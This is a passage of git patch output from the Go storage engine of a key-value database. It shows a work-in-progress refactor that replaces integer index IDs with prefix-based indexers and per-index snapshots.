syncSnapshot() (*Snapshot, error) { - snap, err := s.indexer.index.SyncSnapshot() +func (s *ImmuStore) syncSnapshot(indexID int) (*Snapshot, error) { + indexer, err := s.getIndexer(indexID) + if err != nil { + return nil, err + } + + snap, err := indexer.index.SyncSnapshot() if err != nil { return nil, err } @@ -964,8 +969,13 @@ func (s *ImmuStore) syncSnapshot() (*Snapshot, error) { }, nil } -func (s *ImmuStore) Snapshot() (*Snapshot, error) { - snap, err := s.indexer.Snapshot() +func (s *ImmuStore) Snapshot(indexID int) (*Snapshot, error) { + indexer, err := s.getIndexer(indexID) + if err != nil { + return nil, err + } + + snap, err := indexer.Snapshot() if err != nil { return nil, err } @@ -980,25 +990,30 @@ func (s *ImmuStore) Snapshot() (*Snapshot, error) { // SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot may be used. -func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, txID uint64) (*Snapshot, error) { - return s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, txID, 0) +func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, indexID int, txID uint64) (*Snapshot, error) { + return s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, indexID, txID, 0) } // SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration -func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { +func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, indexID int, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { if txID > s.LastPrecommittedTxID() { return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } - err := s.WaitForIndexingUpto(ctx, txID) + indexer, err := s.getIndexer(indexID) + if err != nil { + return nil, err + } + + err = indexer.WaitForIndexingUpto(ctx, txID) if err != nil { return nil, err } - snap, err := s.indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, renewalPeriod) + snap, err := indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(txID, renewalPeriod) if err != nil { return nil, err } @@ -2117,8 +2132,14 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } defer otx.Cancel() - s.indexer.Pause() - defer s.indexer.Resume() + // preCommitWith is limited to DefaultIndexID and it may be deprecated in the near future + indexer, err := s.getIndexer(DefaultIndexID) + if err != nil { + return nil, err + } + + indexer.Pause() + defer indexer.Resume() lastPreCommittedTxID := s.LastPrecommittedTxID() @@ -2142,7 +2163,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } if otx.hasPreconditions() { - s.indexer.Resume() + indexer.Resume() // Preconditions must be executed with up-to-date tree err = s.WaitForIndexingUpto(ctx, lastPreCommittedTxID) @@ -2155,7 +2176,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 return nil, err } - s.indexer.Pause() + indexer.Pause() } tx, err := s.fetchAllocTx() diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go index 9ad42de7c8..f5f3371632 100644 --- a/embedded/store/meta_state.go +++ b/embedded/store/meta_state.go @@ -34,7 +34,8 @@ type metaState struct { wHub *watchers.WatchersHub } -type indexSpec struct { +type indexSpec1 struct { + prefix []byte initialTxID uint64 finalTxID uint64 initialTs int64 diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index dbc0c5f762..63c4842396 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -30,8 +30,14 @@ import ( type OngoingTx struct { st *ImmuStore - snap *Snapshot - readOnly bool // MVCC validations are not needed for read-only transactions + ctx context.Context + + snapshots map[int]*Snapshot // snapshot per index + + mode TxMode // MVCC validations are not needed for read-only transactions + snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 + snapshotRenewalPeriod time.Duration + unsafeMVCC bool requireMVCCOnFollowingTxs bool @@ -41,11 +47,7 @@ type OngoingTx struct { preconditions []Precondition - //MVCC - expectedGets []expectedGet - expectedGetsWithPrefix []expectedGetWithPrefix - expectedReaders []*expectedReader - readsetSize int + mvccReadSets map[int]*mvccReadSet // mvcc read-set per index metadata *TxMetadata @@ -54,6 +56,13 @@ type OngoingTx struct { closed bool } +type mvccReadSet struct { + expectedGets []expectedGet + expectedGetsWithPrefix []expectedGetWithPrefix + expectedReaders []*expectedReader + readsetSize int +} + type expectedGet struct { key []byte filters []FilterFn @@ -93,6 +102,7 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT tx := &OngoingTx{ st: s, + ctx: ctx, entriesByKey: make(map[[sha256.Size]byte]int), ts: time.Now(), unsafeMVCC: opts.UnsafeMVCC, @@ -102,44 +112,9 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT return tx, nil } - tx.readOnly = opts.Mode == ReadOnlyTx - - var snapshotMustIncludeTxID uint64 - - if opts.SnapshotMustIncludeTxID != nil { - snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID(s.LastPrecommittedTxID()) - } - - mandatoryMVCCUpToTxID := s.MandatoryMVCCUpToTxID() - - if mandatoryMVCCUpToTxID > snapshotMustIncludeTxID { - snapshotMustIncludeTxID = mandatoryMVCCUpToTxID - } - - snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod) - if err != nil { - return nil, err - } - - tx.snap = snap - - // using an "interceptor" to construct the valueRef from current entries - // so to avoid storing more data into the snapshot - tx.snap.refInterceptor = func(key []byte, valRef ValueRef) ValueRef { - keyRef, ok := tx.entriesByKey[sha256.Sum256(key)] - if !ok { - return valRef - } - - entrySpec := tx.entries[keyRef] - - return &ongoingValRef{ - hc: valRef.HC(), - value: entrySpec.Value, - txmd: tx.metadata, - kvmd: entrySpec.Metadata, - } - } + tx.mode = opts.Mode + tx.snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID + tx.snapshotRenewalPeriod = opts.SnapshotRenewalPeriod return tx, nil } @@ -180,11 +155,11 @@ func (oref *ongoingValRef) Len() uint32 { } func (tx *OngoingTx) IsWriteOnly() bool { - return tx.snap == nil + return tx.mode == WriteOnlyTx } func (tx *OngoingTx) IsReadOnly() bool { - return tx.readOnly + return tx.mode == ReadOnlyTx } func (tx *OngoingTx) WithMetadata(md *TxMetadata) *OngoingTx { @@ -200,12 +175,58 @@ func (tx *OngoingTx) Metadata() *TxMetadata { return tx.metadata } -func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated bool) error { +func (tx *OngoingTx) snap(indexID int) (*Snapshot, error) { + snap, ok := tx.snapshots[indexID] + if ok { + return snap, nil + } + + var snapshotMustIncludeTxID uint64 + + if tx.snapshotMustIncludeTxID != nil { + snapshotMustIncludeTxID = tx.snapshotMustIncludeTxID(tx.st.LastPrecommittedTxID()) + } + + mandatoryMVCCUpToTxID := tx.st.MandatoryMVCCUpToTxID() + + if mandatoryMVCCUpToTxID > snapshotMustIncludeTxID { + snapshotMustIncludeTxID = mandatoryMVCCUpToTxID + } + + snap, err := tx.st.SnapshotMustIncludeTxIDWithRenewalPeriod(tx.ctx, indexID, snapshotMustIncludeTxID, tx.snapshotRenewalPeriod) + if err != nil { + return nil, err + } + + // using an "interceptor" to construct the valueRef from current entries + // so to avoid storing more data into the snapshot + snap.refInterceptor = func(key []byte, valRef ValueRef) ValueRef { + keyRef, ok := tx.entriesByKey[sha256.Sum256(key)] + if !ok { + return valRef + } + + entrySpec := tx.entries[keyRef] + + return &ongoingValRef{ + hc: valRef.HC(), + value: entrySpec.Value, + txmd: tx.metadata, + kvmd: entrySpec.Metadata, + } + } + + tx.snapshots[indexID] = snap + + return snap, nil +} + +func (tx *OngoingTx) set(key []byte, indexID int, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated bool) error { if tx.closed { return ErrAlreadyClosed } - if tx.readOnly { + if tx.IsReadOnly() { return ErrReadOnlyTx } @@ -233,7 +254,12 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh // vLen=0 + vOff=0 + vHash=0 + txmdLen=0 + kvmdLen=0 var indexedValue [lszSize + offsetSize + sha256.Size + sszSize + sszSize]byte - err := tx.snap.set(key, indexedValue[:]) + snap, err := tx.snap(indexID) + if err != nil { + return err + } + + err = snap.set(key, indexedValue[:]) if err != nil { return err } @@ -257,9 +283,9 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh return nil } -func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { +func (tx *OngoingTx) Set(key []byte, indexID int, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte - return tx.set(key, md, value, hashValue, false) + return tx.set(key, indexID, md, value, hashValue, false) } func (tx *OngoingTx) AddPrecondition(c Precondition) error { @@ -289,7 +315,7 @@ func (tx *OngoingTx) Delete(key []byte) error { return ErrAlreadyClosed } - if tx.readOnly { + if tx.IsReadOnly() { return ErrReadOnlyTx } @@ -323,7 +349,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, } valRef, err := tx.snap.GetWithFilters(key, filters...) - if !tx.readOnly && errors.Is(err, ErrKeyNotFound) { + if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGet := expectedGet{ key: cp(key), filters: filters, @@ -340,7 +366,7 @@ func (tx *OngoingTx) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, return nil, err } - if !tx.readOnly && valRef.Tx() > 0 { + if !tx.IsReadOnly() && valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGet := expectedGet{ key: cp(key), @@ -373,7 +399,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt } key, valRef, err = tx.snap.GetWithPrefixAndFilters(prefix, neq, filters...) - if !tx.readOnly && errors.Is(err, ErrKeyNotFound) { + if !tx.IsReadOnly() && errors.Is(err, ErrKeyNotFound) { expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), neq: cp(neq), @@ -391,7 +417,7 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(prefix, neq []byte, filters ...Filt return nil, nil, err } - if !tx.readOnly && valRef.Tx() > 0 { + if !tx.IsReadOnly() && valRef.Tx() > 0 { // it only requires validation when the entry was pre-existent to ongoing tx expectedGetWithPrefix := expectedGetWithPrefix{ prefix: cp(prefix), @@ -421,7 +447,7 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return nil, ErrWriteOnlyTx } - if tx.readOnly { + if tx.IsReadOnly() { return tx.snap.NewKeyReader(spec) } @@ -460,7 +486,7 @@ func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeade tx.closed = true - if tx.readOnly { + if tx.IsReadOnly() { return nil, ErrReadOnlyTx } diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 9adb68c836..0b5e637c4f 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -87,7 +87,8 @@ func (c *IndexDeletionChange) IsIndexCreation() bool { return false } -type IndexCreationChange struct { +type IndexCreationChange1 struct { + Prefix []byte InitialTxID uint64 FinalTxID uint64 InitialTs int64 From e52711a8e867703cfef68daab0f58d1a1fa9fcc2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 13 Aug 2023 09:12:46 -0300 Subject: [PATCH 0729/1062] chore(embedded/store): wip multi-indexing Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 128 ++++++------- embedded/store/indexer.go | 6 +- embedded/store/key_reader.go | 1 + embedded/store/kv_metadata.go | 72 +------ embedded/store/meta_state.go | 18 +- embedded/store/ongoing_tx.go | 254 ++++++++++++++----------- embedded/store/ongoing_tx_keyreader.go | 23 ++- embedded/store/tx_metadata.go | 90 +++++---- 8 files changed, 285 insertions(+), 307 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 874a67230e..77adec84dc 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -109,17 +109,14 @@ var ErrUnsupportedTxHeaderVersion = errors.New("missing tx header serialization var ErrIllegalTruncationArgument = fmt.Errorf("%w: invalid truncation info", ErrIllegalArguments) var ErrTruncationInfoNotPresentInMetadata = errors.New("truncation info not present in metadata") -var ErrMaxIndexIDExceeded = errors.New("max index id exceeded") -var ErrIndexNotFound = errors.New("index not found") - -const DefaultIndexID = 0 - var ErrInvalidProof = errors.New("invalid proof") +var ErrNoIndexFound = errors.New("no index found") + const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 -const MaxIndexID = math.MaxUint16 +const MaxIndexCount = math.MaxUint16 const MaxNumberOfIndexChangesPerTx = 16 const cLogEntrySizeV1 = offsetSize + lszSize // tx offset + hdr size @@ -130,7 +127,6 @@ const tsSize = 8 const lszSize = 4 const sszSize = 2 const offsetSize = 8 -const indexIDSize = 2 // Version 2 includes `metaEmbeddedValues` and `metaPreallocFiles` into clog metadata const Version = 2 @@ -221,7 +217,7 @@ type ImmuStore struct { metaState *metaState - indexers map[int]*indexer + indexers []*indexer indexersMux sync.RWMutex closed bool @@ -669,8 +665,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable aht: aht, metaState: metaState, - indexers: make(map[int]*indexer), - inmemPrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead) durablePrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+opts.MaxWaitees), commitWHub: watchers.New(0, 1+opts.MaxActiveTransactions+opts.MaxWaitees), // including indexer @@ -735,7 +729,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable indexPath := filepath.Join(store.path, indexDirname) - defaultIndexer, err := newIndexer(0, indexPath, store, opts) + defaultIndexer, err := newIndexer(nil, indexPath, store, opts) if err != nil { store.Close() return nil, fmt.Errorf("could not open indexer: %w", err) @@ -749,7 +743,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved } - store.indexers[DefaultIndexID] = defaultIndexer + store.indexers = append(store.indexers, defaultIndexer) if store.synced { go func() { @@ -827,20 +821,21 @@ func (s *ImmuStore) notify(nType NotificationType, mandatory bool, formattedMess } } -func (s *ImmuStore) getIndexer(indexID int) (*indexer, error) { - indexer, found := s.indexers[indexID] - if !found { - return nil, ErrIndexNotFound +func (s *ImmuStore) getIndexer(key []byte) (*indexer, error) { + for _, indexer := range s.indexers { + if len(key) >= len(indexer.prefix) && bytes.Equal(indexer.prefix, key[:len(indexer.prefix)]) { + return indexer, nil + } } - return indexer, nil + return nil, ErrNoIndexFound } -func (s *ImmuStore) IndexInfo(indexID int) (uint64, error) { +func (s *ImmuStore) IndexInfo(prefix []byte) (uint64, error) { s.indexersMux.RLock() defer s.indexersMux.RUnlock() - indexer, err := s.getIndexer(indexID) + indexer, err := s.getIndexer(prefix) if err != nil { return 0, err } @@ -849,18 +844,18 @@ func (s *ImmuStore) IndexInfo(indexID int) (uint64, error) { } func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { - return s.GetWithFilters(key, DefaultIndexID, IgnoreExpired, IgnoreDeleted) + return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWithFilters(key []byte, indexID int, filters ...FilterFn) (valRef ValueRef, err error) { - indexer, err := s.getIndexer(indexID) +func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { + indexer, err := s.getIndexer(key) if err != nil { return nil, err } indexedVal, tx, hc, err := indexer.Get(key) if err != nil { - return nil, err + return nil, err } valRef, err = s.valueRefFrom(tx, hc, indexedVal) @@ -885,11 +880,11 @@ func (s *ImmuStore) GetWithFilters(key []byte, indexID int, filters ...FilterFn) } func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return s.GetWithPrefixAndFilters(prefix, neq, DefaultIndexID, IgnoreExpired, IgnoreDeleted) + return s.GetWithPrefixAndFilters(prefix, neq, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, indexID int, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { - indexer, err := s.getIndexer(indexID) +func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { + indexer, err := s.getIndexer(prefix) if err != nil { return nil, nil, err } @@ -920,8 +915,8 @@ func (s *ImmuStore) GetWithPrefixAndFilters(prefix []byte, neq []byte, indexID i return key, valRef, nil } -func (s *ImmuStore) History(key []byte, indexID int, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { - indexer, err := s.getIndexer(indexID) +func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { + indexer, err := s.getIndexer(key) if err != nil { return nil, 0, err } @@ -951,8 +946,8 @@ func (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, er }) } -func (s *ImmuStore) syncSnapshot(indexID int) (*Snapshot, error) { - indexer, err := s.getIndexer(indexID) +func (s *ImmuStore) syncSnapshot(prefix []byte) (*Snapshot, error) { + indexer, err := s.getIndexer(prefix) if err != nil { return nil, err } @@ -963,14 +958,15 @@ func (s *ImmuStore) syncSnapshot(indexID int) (*Snapshot, error) { } return &Snapshot{ - st: s, - snap: snap, - ts: time.Now(), + st: s, + prefix: prefix, + snap: snap, + ts: time.Now(), }, nil } -func (s *ImmuStore) Snapshot(indexID int) (*Snapshot, error) { - indexer, err := s.getIndexer(indexID) +func (s *ImmuStore) Snapshot(prefix []byte) (*Snapshot, error) { + indexer, err := s.getIndexer(prefix) if err != nil { return nil, err } @@ -981,29 +977,30 @@ func (s *ImmuStore) Snapshot(indexID int) (*Snapshot, error) { } return &Snapshot{ - st: s, - snap: snap, - ts: time.Now(), + st: s, + prefix: prefix, + snap: snap, + ts: time.Now(), }, nil } // SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot may be used. -func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, indexID int, txID uint64) (*Snapshot, error) { - return s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, indexID, txID, 0) +func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, prefix []byte, txID uint64) (*Snapshot, error) { + return s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, prefix, txID, 0) } // SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration -func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, indexID int, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { +func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, prefix []byte, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { if txID > s.LastPrecommittedTxID() { return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } - indexer, err := s.getIndexer(indexID) + indexer, err := s.getIndexer(prefix) if err != nil { return nil, err } @@ -1019,9 +1016,10 @@ func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context } return &Snapshot{ - st: s, - snap: snap, - ts: time.Now(), + st: s, + prefix: prefix, + snap: snap, + ts: time.Now(), }, nil } @@ -1205,11 +1203,7 @@ func (s *ImmuStore) GetIndexIDs() []int { return ids } -func (s *ImmuStore) CompactIndex(indexID int) error { - return s.CompactIndexes([]int{indexID}) -} - -func (s *ImmuStore) CompactIndexes(indexIDs []int) error { +func (s *ImmuStore) CompactIndexes() error { if s.compactionDisabled { return ErrCompactionUnsupported } @@ -1219,13 +1213,8 @@ func (s *ImmuStore) CompactIndexes(indexIDs []int) error { // TODO: indexes may be concurrently compacted - for _, indexID := range indexIDs { - indexer, err := s.getIndexer(indexID) - if err != nil { - return err - } - - err = indexer.CompactIndex() + for _, indexer := range s.indexers { + err := indexer.CompactIndex() if err != nil { return err } @@ -1234,23 +1223,14 @@ func (s *ImmuStore) CompactIndexes(indexIDs []int) error { return nil } -func (s *ImmuStore) FlushIndex(indexID int, cleanupPercentage float32, synced bool) error { - return s.FlushIndexes([]int{indexID}, cleanupPercentage, synced) -} - -func (s *ImmuStore) FlushIndexes(indexIDs []int, cleanupPercentage float32, synced bool) error { +func (s *ImmuStore) FlushIndexes(cleanupPercentage float32, synced bool) error { s.indexersMux.RLock() defer s.indexersMux.RUnlock() // TODO: indexes may be concurrently flushed - for _, indexID := range indexIDs { - indexer, err := s.getIndexer(indexID) - if err != nil { - return err - } - - err = indexer.FlushIndex(cleanupPercentage, synced) + for _, indexer := range s.indexers { + err := indexer.FlushIndex(cleanupPercentage, synced) if err != nil { return err } @@ -2103,15 +2083,15 @@ func (index *unsafeIndex) Get(key []byte) (ValueRef, error) { } func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { - return index.st.GetWithFilters(key, DefaultIndexID, filters...) + return index.st.GetWithFilters(key, filters...) } func (index *unsafeIndex) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefixAndFilters(prefix, neq, DefaultIndexID, IgnoreDeleted, IgnoreExpired) + return index.st.GetWithPrefixAndFilters(prefix, neq, IgnoreDeleted, IgnoreExpired) } func (index *unsafeIndex) GetWithPrefixAndFilters(prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { - return index.st.GetWithPrefixAndFilters(prefix, neq, DefaultIndexID, filters...) + return index.st.GetWithPrefixAndFilters(prefix, neq, filters...) } func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { @@ -2132,8 +2112,8 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } defer otx.Cancel() - // preCommitWith is limited to DefaultIndexID and it may be deprecated in the near future - indexer, err := s.getIndexer(DefaultIndexID) + // preCommitWith is limited to default index and it may be deprecated in the near future + indexer, err := s.getIndexer(nil) if err != nil { return nil, err } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index cd6f277172..0b07155fd2 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -35,7 +35,7 @@ import ( ) type indexer struct { - id int + prefix []byte path string @@ -88,7 +88,7 @@ var ( }) ) -func newIndexer(id int, path string, store *ImmuStore, opts *Options) (*indexer, error) { +func newIndexer(prefix []byte, path string, store *ImmuStore, opts *Options) (*indexer, error) { if store == nil { return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } @@ -143,7 +143,7 @@ func newIndexer(id int, path string, store *ImmuStore, opts *Options) (*indexer, } indexer := &indexer{ - id: id, + prefix: prefix, store: store, tx: tx, maxBulkSize: opts.IndexOpts.MaxBulkSize, diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 4ae3881d5c..4bc98120e7 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -27,6 +27,7 @@ import ( type Snapshot struct { st *ImmuStore + prefix []byte snap *tbtree.Snapshot ts time.Time refInterceptor valueRefInterceptor diff --git a/embedded/store/kv_metadata.go b/embedded/store/kv_metadata.go index 790d514579..9255830b21 100644 --- a/embedded/store/kv_metadata.go +++ b/embedded/store/kv_metadata.go @@ -32,18 +32,15 @@ const ( deletedAttrCode attributeCode = 0 expiresAtAttrCode attributeCode = 1 nonIndexableAttrCode attributeCode = 2 - useIndexAttrCode attributeCode = 3 ) const deletedAttrSize = 0 const expiresAtAttrSize = tsSize const nonIndexableAttrSize = 0 -const useIndexAttrSize = indexIDSize const maxKVMetadataLen = (attrCodeSize + deletedAttrSize) + (attrCodeSize + expiresAtAttrSize) + - (attrCodeSize + nonIndexableAttrSize) + - (attrCodeSize + useIndexAttrSize) + (attrCodeSize + nonIndexableAttrSize) type KVMetadata struct { attributes map[attributeCode]attribute @@ -104,30 +101,6 @@ func (a *nonIndexableAttribute) deserialize(b []byte) (int, error) { return 0, nil } -type useIndexAttribute struct { - indexID int -} - -func (a *useIndexAttribute) code() attributeCode { - return useIndexAttrCode -} - -func (a *useIndexAttribute) serialize() []byte { - var b [indexIDSize]byte - binary.BigEndian.PutUint16(b[:], uint16(a.indexID)) - return b[:] -} - -func (a *useIndexAttribute) deserialize(b []byte) (int, error) { - if len(b) < indexIDSize { - return 0, ErrCorruptedData - } - - a.indexID = int(binary.BigEndian.Uint16(b)) - - return indexIDSize, nil -} - func NewKVMetadata() *KVMetadata { return &KVMetadata{ attributes: make(map[attributeCode]attribute), @@ -213,8 +186,6 @@ func (md *KVMetadata) AsNonIndexable(nonIndexable bool) error { return ErrReadOnly } - delete(md.attributes, useIndexAttrCode) - if !nonIndexable { delete(md.attributes, nonIndexableAttrCode) return nil @@ -233,45 +204,10 @@ func (md *KVMetadata) NonIndexable() bool { return ok } -func (md *KVMetadata) UseIndex(indexID int) error { - if md.readonly { - return ErrReadOnly - } - - if indexID > MaxIndexID { - return ErrMaxIndexIDExceeded - } - - delete(md.attributes, nonIndexableAttrCode) - - _, ok := md.attributes[useIndexAttrCode] - if !ok { - md.attributes[useIndexAttrCode] = &useIndexAttribute{ - indexID: indexID, - } - } - - return nil -} - -func (md *KVMetadata) Index() (int, error) { - _, ok := md.attributes[nonIndexableAttrCode] - if ok { - return 0, ErrNonIndexable - } - - useIndexAttr, ok := md.attributes[useIndexAttrCode] - if !ok { - return 0, nil - } - - return int(useIndexAttr.(*useIndexAttribute).indexID), nil -} - func (md *KVMetadata) Bytes() []byte { var b bytes.Buffer - for _, attrCode := range []attributeCode{deletedAttrCode, expiresAtAttrCode, nonIndexableAttrCode, useIndexAttrCode} { + for _, attrCode := range []attributeCode{deletedAttrCode, expiresAtAttrCode, nonIndexableAttrCode} { attr, ok := md.attributes[attrCode] if ok { b.WriteByte(byte(attr.code())) @@ -333,10 +269,6 @@ func newAttribute(attrCode attributeCode) (attribute, error) { { return &nonIndexableAttribute{}, nil } - case useIndexAttrCode: - { - return &useIndexAttribute{}, nil - } default: { return nil, fmt.Errorf("error reading metadata attributes: %w", ErrCorruptedData) diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go index f5f3371632..e68556d35e 100644 --- a/embedded/store/meta_state.go +++ b/embedded/store/meta_state.go @@ -29,12 +29,12 @@ var ErrAlreadyStopped = errors.New("already stopped") type metaState struct { truncatedUpToTxID uint64 - indexes map[int]*indexSpec + indexes []*indexSpec wHub *watchers.WatchersHub } -type indexSpec1 struct { +type indexSpec struct { prefix []byte initialTxID uint64 finalTxID uint64 @@ -47,20 +47,19 @@ type metaStateOptions struct { func openMetaState(path string, opts metaStateOptions) (*metaState, error) { return &metaState{ - indexes: make(map[int]*indexSpec), - wHub: watchers.New(0, MaxIndexID), + wHub: watchers.New(0, MaxIndexCount), }, nil } func (m *metaState) rollbackUpTo(txID uint64) error { - m.indexes = make(map[int]*indexSpec) + m.indexes = nil err := m.wHub.Close() if err != nil { return err } - m.wHub = watchers.New(0, MaxIndexID) + m.wHub = watchers.New(0, MaxIndexCount) return nil } @@ -98,7 +97,11 @@ func (m *metaState) processTxHeader(hdr *TxHeader) error { indexingChanges := hdr.Metadata.GetIndexingChanges() if len(indexingChanges) > 0 { - for id, change := range indexingChanges { + for _, change := range indexingChanges { + + // buscar el indice para el prefix en el metaState + change.GetPrefix() + _, indexAlreadyExists := m.indexes[id] if change.IsIndexDeletion() { @@ -119,6 +122,7 @@ func (m *metaState) processTxHeader(hdr *TxHeader) error { c := change.(*IndexCreationChange) m.indexes[id] = &indexSpec{ + prefix: c.Prefix, initialTxID: c.InitialTxID, finalTxID: c.FinalTxID, initialTs: c.InitialTs, diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 63c4842396..15fd3b30f6 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -32,7 +32,7 @@ type OngoingTx struct { ctx context.Context - snapshots map[int]*Snapshot // snapshot per index + snapshots []*Snapshot // snapshot per index mode TxMode // MVCC validations are not needed for read-only transactions snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 @@ -47,7 +47,7 @@ type OngoingTx struct { preconditions []Precondition - mvccReadSets map[int]*mvccReadSet // mvcc read-set per index + mvccReadSet *mvccReadSet // mvcc read-set metadata *TxMetadata @@ -175,10 +175,11 @@ func (tx *OngoingTx) Metadata() *TxMetadata { return tx.metadata } -func (tx *OngoingTx) snap(indexID int) (*Snapshot, error) { - snap, ok := tx.snapshots[indexID] - if ok { - return snap, nil +func (tx *OngoingTx) snap(key []byte) (*Snapshot, error) { + for _, snap := range tx.snapshots { + if len(key) >= len(snap.prefix) && bytes.Equal(snap.prefix, 